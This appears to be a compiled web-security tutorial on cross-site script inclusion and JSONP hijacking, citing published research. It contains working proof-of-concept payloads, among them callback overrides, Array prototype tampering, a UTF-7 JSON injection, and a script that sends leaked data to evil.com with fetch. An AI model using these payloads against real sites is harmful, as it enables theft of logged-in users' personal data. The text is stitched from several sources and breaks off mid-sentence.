• http://bit.ly/1PmX4EX
• http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/
• http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html
• http://sebastian-lekies.de/leak/
• http://www.thespanner.co.uk/2011/05/30/json-hijacking/
• https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
• https://github.com/luh2/DetectDynamicJS
• https://hackvertor.co.uk/public
• https://mimesniff.spec.whatwg.org/
• https://twitter.com/lcamtuf
• https://twitter.com/slekies
• https://www.mbsd.jp/Whitepaper/xssi.pdf
• https://www.nostarch.com/tangledweb.htm
• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
• https://www.owasp.org/index.php/XSS
• https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf

xploiting

XSSI can be used in the context of authentication be used to steal keys etc. The options of misuse are only limited by the creativity of the application developers. Some cases occur repeatedly and so I want to show how to cover these.

    Variables can be easily read if they reside inside the global namespace as shown above.
    Overriding functions in JavaScript shouldn’t be a problem even for JavaScript-Newbies. The following example stems from a real world example. The website accesses user data inside the profile page using a JSONP callback

angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})

to get the information function _7 has to be overridden.

<script>
      var angular = function () { return 1; };
      angular.callbacks = function () { return 1; };      
      angular.callbacks._7 = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

The leaked JSON

This also works with global functions. In this case, it isn’t necessary though to override the function. You can simply provide your own callback function.

<script>
      leak = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

    If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using prototype tampering. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper The Unexpected Dangers of Dynamic JavaScript and demonstrates how overriding a relevant function of type Array and access to this, a non-global variable can be leaked as well.

(function(){
  var arr = ["secret1", "secret2", "secret3"];
  // intents to slice out first entry
  var x = arr.slice(1);
  ...
})();

In the original code slice from type Array accesses the data we’re interested in. An attacker can, as described in the preceding clause, override slice and steal the secrets.

Array.prototype.slice = function(){
  // leaks ["secret1", "secret2", "secret3"]
  sendToAttackerBackend(this);
};

Security Researcher Sebastian Lekies just recently updated his list of vectors.
Non-Script-XSSI

Takeshi Terada describes another kind of XSSI in his paper Identifier based XSSI attacks. He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the script tag, using the data as variable and function names.

The first publicly documented XSSI attack was in 2006. Jeremiah Grossman’s blog entry Advanced Web Attack Techniques using GMail depicts a XSSI, which by overriding the Array constructor was able to read the complete address book of a google account.

In 2007 Joe Walker published JSON is not as safe as people think it is. He uses the same idea to steal JSON that is inside an Array.

Other related attacks were conducted by injecting UTF-7 encoded content into the JSON to escape the JSON format. It is described by Gareth Heyes, author of Hackvertor, in the blog entry JSON Hijacking released in 2011. In a quick test, this was still possible in Microsoft Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome.

JSON with UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Including the JSON in the attacker’s page

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>

    I look at the HTTP GET request for the JS file to make sure that it doesn’t require CORS triggering headers like:
    Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever
    At this stage if it does have CORS headers then, the attack will fail, unless I also find a CORS issue.

In this case, no special headers were needed, so I could include the JS file on a web page with a script tag and send it to any server leaking some serious PII, with the POC being similar to:

<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>

You can use the same way to find JSONP callbacks by appending parameters like callback=some_function, jsonp=blah on all paths that return sensitive information.

Important Notes:

    If the response has Content-Type: application/json but the body has JSONP/javascript, and the X-Content-Type-Options: nosniff header is NOT in the response, the exploit still WORKS.
    For JSONP, different callback parameters might work on different endpoints even on the same website.
    Example:
    https://target.com/profile_info?callback=test→ no JSONP
    https://target.com/profile_info?jsonp=test→ returns JSONP
    But, on a different path on the same site:
    https://target.com/account_info?jsonp=test→ no JSONP
    https://target.com/account_info?jsoncallback=test→ returns JSONP

Same origin policy and JSON

JSON is a data format widely used in web applications that uses JavaScript notation to describe objects and values. By default, the same origin policy prevents reading JSON cross site. That is, the site https://attacker.com/ can not read https://my.webapp/data.json. There are two common ways to enable that, so that the data can be read cross-site:

    Cross-origin resource sharing (CORS)
    JSON with padding or JSONP

How JSONP works

JSONP is a little bit of a hack. It wraps the data in a function call. If you have this JSON:

{"hello": "world"}

JSONP will call some function with this data:

somefunction({"hello": "world"})

So the padding here is somefunction(...) and the original JSON is passed into it. This makes it possible to read the JSON cross-site, by including the JSONP resource as a script:

<script src="https://my.webapp/data.jsonp">

This will call somefunction with the data, and this data can be used by providing a function with that name:

<script>
  function somefunction(data) {
    // The data variable will contain the JSON data.
  }
</script>
<script src="https://my.webapp/data.jsonp">

Security risk

JSONP makes it possible to access data from another website. This makes it possible to retrieve personal data from a logged-in user. If the data is specific to the user, or can only be accessed by an authenticated user, other sites should not have access to it. However, JSONP makes it possible to retrieve the data in a CSRF-style attack.

The attacker’s site includes the JSONP URL as a script. The browser performs the request, and sends cookies along if the user is authenticated. The JSONP will return the data for the authenticated user, and the attacker’s site can read that. The attacker’s site uses the current session of the user to perform an authenticated request.
Callback parameter

The “padding” or function to call with the JSON data, is often specified as a parameter. Often this parameter is called callback and is reflected as-is in the response.
Checking for JSONP

You can recognize JSONP by the parameter in the URL or the POST data that is then used as function call.

Sometimes, JSONP is not used by the site but the API still supports it. To check an endpoint for JSONP support, try this:

    Add a callback parameter to a JSON URL, by appending ?callback=something to the URL.
    When a format type is provided, change it to JSONP. Change ?format=json to ?format=jsonp.

Try it: see if you can obtain the data from this URL from